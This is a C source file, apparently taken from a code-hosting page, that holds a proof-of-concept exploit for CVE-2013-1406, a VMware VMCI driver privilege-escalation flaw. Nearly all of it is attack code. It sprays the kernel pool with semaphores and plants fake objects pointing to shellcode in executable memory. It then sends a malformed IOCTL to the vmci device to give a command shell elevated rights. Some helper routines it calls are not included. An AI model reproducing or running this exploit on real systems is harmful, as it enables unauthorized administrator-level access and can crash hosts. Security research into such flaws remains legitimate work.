472 lines
No EOL
14 KiB
C
472 lines
No EOL
14 KiB
C
/*
|
|
CVE-2013-1406 exploitation PoC
|
|
by Artem Shishkin,
|
|
Positive Research,
|
|
Positive Technologies,
|
|
02-2013
|
|
*/
|
|
|
|
void __stdcall FireShell(DWORD dwSomeParam)
|
|
{
|
|
EscalatePrivileges(hProcessToElevate);
|
|
// Equate the stack and quit the cycle
|
|
#ifndef _AMD64_
|
|
__asm
|
|
{
|
|
pop ebx
|
|
pop edi
|
|
push 0xFFFFFFF8
|
|
push 0xA010043
|
|
}
|
|
#endif
|
|
}
|
|
|
|
|
|
HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
|
|
{
|
|
HANDLE hResult = 0;
|
|
DWORD dwLookupProcessID = dwProcessID;
|
|
|
|
if (pHandleTable == NULL)
|
|
{
|
|
printf("Ain't funny\n");
|
|
return 0;
|
|
}
|
|
|
|
if (dwLookupProcessID == 0)
|
|
{
|
|
dwLookupProcessID = GetCurrentProcessId();
|
|
}
|
|
|
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
|
{
|
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
|
|
{
|
|
hResult = pHandleTable->Handles[i].HandleValue;
|
|
break;
|
|
}
|
|
}
|
|
|
|
return hResult;
|
|
}
|
|
|
|
PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
|
|
{
|
|
PVOID pResult = 0;
|
|
DWORD dwLookupProcessID = dwProcessID;
|
|
|
|
if (pHandleTable == NULL)
|
|
{
|
|
printf("Ain't funny\n");
|
|
return 0;
|
|
}
|
|
|
|
if (dwLookupProcessID == 0)
|
|
{
|
|
dwLookupProcessID = GetCurrentProcessId();
|
|
}
|
|
|
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
|
{
|
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
|
|
{
|
|
pResult = (HANDLE)pHandleTable->Handles[i].Object;
|
|
break;
|
|
}
|
|
}
|
|
|
|
return pResult;
|
|
}
|
|
|
|
void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
|
|
{
|
|
DWORD dwLookupProcessID = dwProcessID;
|
|
|
|
if (pHandleTable == NULL)
|
|
{
|
|
printf("Ain't funny\n");
|
|
return;
|
|
}
|
|
|
|
if (dwLookupProcessID == 0)
|
|
{
|
|
dwLookupProcessID = GetCurrentProcessId();
|
|
}
|
|
|
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
|
{
|
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
|
|
{
|
|
pHandleTable->Handles[i].Object = NULL;
|
|
pHandleTable->Handles[i].HandleValue = NULL;
|
|
break;
|
|
}
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
void PoolSpray()
|
|
{
|
|
// Init used native API function
|
|
lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
|
|
if (NtQuerySystemInformation == NULL)
|
|
{
|
|
printf("Such a fail...\n");
|
|
return;
|
|
}
|
|
|
|
// Determine object size
|
|
// xp:
|
|
//const DWORD_PTR dwSemaphoreSize = 0x38;
|
|
// 7:
|
|
//const DWORD_PTR dwSemaphoreSize = 0x48;
|
|
|
|
DWORD_PTR dwSemaphoreSize = 0;
|
|
|
|
if (LOBYTE(GetVersion()) == 5)
|
|
{
|
|
dwSemaphoreSize = 0x38;
|
|
}
|
|
else if (LOBYTE(GetVersion()) == 6)
|
|
{
|
|
dwSemaphoreSize = 0x48;
|
|
}
|
|
|
|
unsigned int cycleCount = 0;
|
|
while (cycleCount < 50000)
|
|
{
|
|
HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
|
|
if (hTemp == NULL)
|
|
{
|
|
break;
|
|
}
|
|
|
|
++cycleCount;
|
|
}
|
|
|
|
printf("\t[+] Spawned lots of semaphores\n");
|
|
|
|
printf("\t[.] Initing pool windows\n");
|
|
Sleep(2000);
|
|
|
|
DWORD dwNeeded = 4096;
|
|
NTSTATUS status = 0xFFFFFFFF;
|
|
PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
|
|
|
|
while (true)
|
|
{
|
|
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
|
|
if (status != STATUS_SUCCESS)
|
|
{
|
|
dwNeeded *= 2;
|
|
VirtualFree(pBuf, 0, MEM_RELEASE);
|
|
pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
|
|
}
|
|
else
|
|
{
|
|
break;
|
|
}
|
|
};
|
|
|
|
HANDLE hHandlesToClose[0x30] = {0};
|
|
DWORD dwCurPID = GetCurrentProcessId();
|
|
PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;
|
|
|
|
for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
|
|
{
|
|
if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
|
|
{
|
|
DWORD_PTR dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
|
|
DWORD_PTR dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
|
|
DWORD_PTR dwWindowAddress = 0;
|
|
bool bPoolWindowFound = false;
|
|
|
|
UINT iObjectsNeeded = 0;
|
|
// Needed window size is vmci packet pool chunk size (0x218) divided by
|
|
// Semaphore pool chunk size (dwSemaphoreSize)
|
|
iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
|
|
|
|
if (
|
|
// Not on a page boundary
|
|
((dwTestObjAddr & 0xFFF) != 0)
|
|
&&
|
|
// Doesn't cross page boundary
|
|
(((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000))
|
|
)
|
|
{
|
|
// Check previous object for being our semaphore
|
|
DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
|
|
if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
|
|
{
|
|
continue;
|
|
}
|
|
|
|
for (unsigned int j = 1; j < iObjectsNeeded; j++)
|
|
{
|
|
DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
|
|
HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);
|
|
|
|
//printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
|
|
//printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
|
|
//printf("\tLooked up handle = %08X\n", hLookedUp);
|
|
|
|
if (hLookedUp != NULL)
|
|
{
|
|
hHandlesToClose[j] = hLookedUp;
|
|
|
|
if (j == iObjectsNeeded - 1)
|
|
{
|
|
// Now test the following object
|
|
dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
|
|
if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
|
|
{
|
|
hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
|
|
bPoolWindowFound = true;
|
|
|
|
dwWindowAddress = dwTestObjAddr;
|
|
|
|
// Close handles to create a memory window
|
|
for (int k = 0; k < iObjectsNeeded; k++)
|
|
{
|
|
if (hHandlesToClose[k] != NULL)
|
|
{
|
|
CloseHandle(hHandlesToClose[k]);
|
|
CloseTableHandle(pHandleTable, hHandlesToClose[k]);
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (bPoolWindowFound)
|
|
{
|
|
printf("\t[+] Window found at %08X!\n", dwWindowAddress);
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
VirtualFree(pBuf, 0, MEM_RELEASE);
|
|
|
|
return;
|
|
}
|
|
|
|
void InitFakeBuf(PVOID pBuf, DWORD dwSize)
|
|
{
|
|
if (pBuf != NULL)
|
|
{
|
|
RtlFillMemory(pBuf, dwSize, 0x11);
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
|
|
{
|
|
/*
|
|
Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
|
|
So, for every 0xXXXX0043 address we must suffice the following conditions:
|
|
|
|
lea edx, [eax+38h]
|
|
lock xadd [edx], ecx
|
|
cmp ecx, 1
|
|
|
|
Some sort of lock at [addr + 38] must be equal to 1. And
|
|
|
|
call dword ptr [eax+0ACh]
|
|
|
|
The call site is located at [addr + 0xAC]
|
|
|
|
Also fake the object to be dereferenced at [addr + 0x100]
|
|
*/
|
|
|
|
if (pBuf != NULL)
|
|
{
|
|
for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
|
|
{
|
|
PDWORD pLock = (PDWORD)(iAddr + 0x38);
|
|
PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
|
|
PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);
|
|
|
|
*pLock = 1;
|
|
*pCallMeMayBe = (DWORD_PTR)FireShell;
|
|
*pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
|
|
}
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
void PenetrateVMCI()
|
|
{
|
|
/*
|
|
|
|
VMware Security Advisory
|
|
Advisory ID: VMSA-2013-0002
|
|
Synopsis: VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
|
|
Issue date: 2013-02-07
|
|
Updated on: 2013-02-07 (initial advisory)
|
|
CVE numbers: CVE-2013-1406
|
|
|
|
*/
|
|
|
|
DWORD dwPidToElevate = 0;
|
|
HANDLE hSuspThread = NULL;
|
|
|
|
bool bXP = (LOBYTE(GetVersion()) == 5);
|
|
bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
|
|
bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));
|
|
|
|
if (!InitKernelFuncs())
|
|
{
|
|
printf("[-] Like I don't know where the shellcode functions are\n");
|
|
return;
|
|
}
|
|
|
|
if (bXP)
|
|
{
|
|
printf("[?] Who do we want to elevate?\n");
|
|
scanf_s("%d", &dwPidToElevate);
|
|
|
|
hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
|
|
if (hProcessToElevate == NULL)
|
|
{
|
|
printf("[-] This process doesn't want to be elevated\n");
|
|
return;
|
|
}
|
|
}
|
|
|
|
if (b7 || b8)
|
|
{
|
|
// We are unable to change an active process token on-the-fly,
|
|
// so we create a custom shell suspended (Ionescu hack)
|
|
STARTUPINFO si = {0};
|
|
PROCESS_INFORMATION pi = {0};
|
|
|
|
si.wShowWindow = TRUE;
|
|
|
|
WCHAR cmdPath[MAX_PATH] = {0};
|
|
GetSystemDirectory(cmdPath, MAX_PATH);
|
|
wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");
|
|
|
|
if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
|
|
{
|
|
hProcessToElevate = pi.hProcess;
|
|
hSuspThread = pi.hThread;
|
|
}
|
|
}
|
|
|
|
HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
|
|
if (hVMCIDevice != INVALID_HANDLE_VALUE)
|
|
{
|
|
UCHAR BadBuff[0x624] = {0};
|
|
UCHAR retBuf[0x624] = {0};
|
|
DWORD dwRet = 0;
|
|
|
|
printf("[+] VMCI service found running\n");
|
|
|
|
PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
|
|
pVmReq->Header.RequestSize = 0xFFFFFFF0;
|
|
|
|
PVOID pShellSprayBufStd = NULL;
|
|
PVOID pShellSprayBufQtd = NULL;
|
|
PVOID pShellSprayBufStd7 = NULL;
|
|
PVOID pShellSprayBufQtd7 = NULL;
|
|
PVOID pShellSprayBufChk8 = NULL;
|
|
|
|
if ((b7) || (bXP) || (b8))
|
|
{
|
|
/*
|
|
Significant bits of a PoolType of a chunk define the following regions:
|
|
0x0A000000 - 0x0BFFFFFF - Standard chunk
|
|
0x1A000000 - 0x1BFFFFFF - Quoted chunk
|
|
0x0 - 0xFFFFFFFF - Free chunk - no idea
|
|
|
|
Addon for Windows 7:
|
|
Since PoolType flags have changed, and "In use flag" is now 0x2,
|
|
define an additional region for Win7:
|
|
|
|
0x04000000 - 0x06000000 - Standard chunk
|
|
0x14000000 - 0x16000000 - Quoted chunk
|
|
*/
|
|
|
|
pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
|
|
if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
|
|
{
|
|
printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
|
|
CloseHandle(hVMCIDevice);
|
|
return;
|
|
}
|
|
|
|
InitFakeBuf(pShellSprayBufStd, 0x2000000);
|
|
InitFakeBuf(pShellSprayBufQtd, 0x2000000);
|
|
InitFakeBuf(pShellSprayBufStd7, 0x2000000);
|
|
InitFakeBuf(pShellSprayBufQtd7, 0x2000000);
|
|
|
|
PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
|
|
PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
|
|
PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
|
|
PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);
|
|
|
|
if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
|
|
{
|
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
|
|
}
|
|
|
|
PoolSpray();
|
|
|
|
if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
|
|
{
|
|
printf("\t[!] If you don't see any BSOD, you're successful\n");
|
|
|
|
if (b7 || b8)
|
|
{
|
|
ResumeThread(hSuspThread);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
printf("[-] Not this time %d\n", GetLastError());
|
|
}
|
|
|
|
if (pShellSprayBufStd != NULL)
|
|
{
|
|
VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
|
|
}
|
|
|
|
if (pShellSprayBufQtd != NULL)
|
|
{
|
|
VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
|
|
}
|
|
}
|
|
|
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
|
|
|
|
CloseHandle(hVMCIDevice);
|
|
}
|
|
else
|
|
{
|
|
printf("[-] Like I don't see vmware here\n");
|
|
}
|
|
|
|
CloseHandle(hProcessToElevate);
|
|
|
|
return;
|
|
} |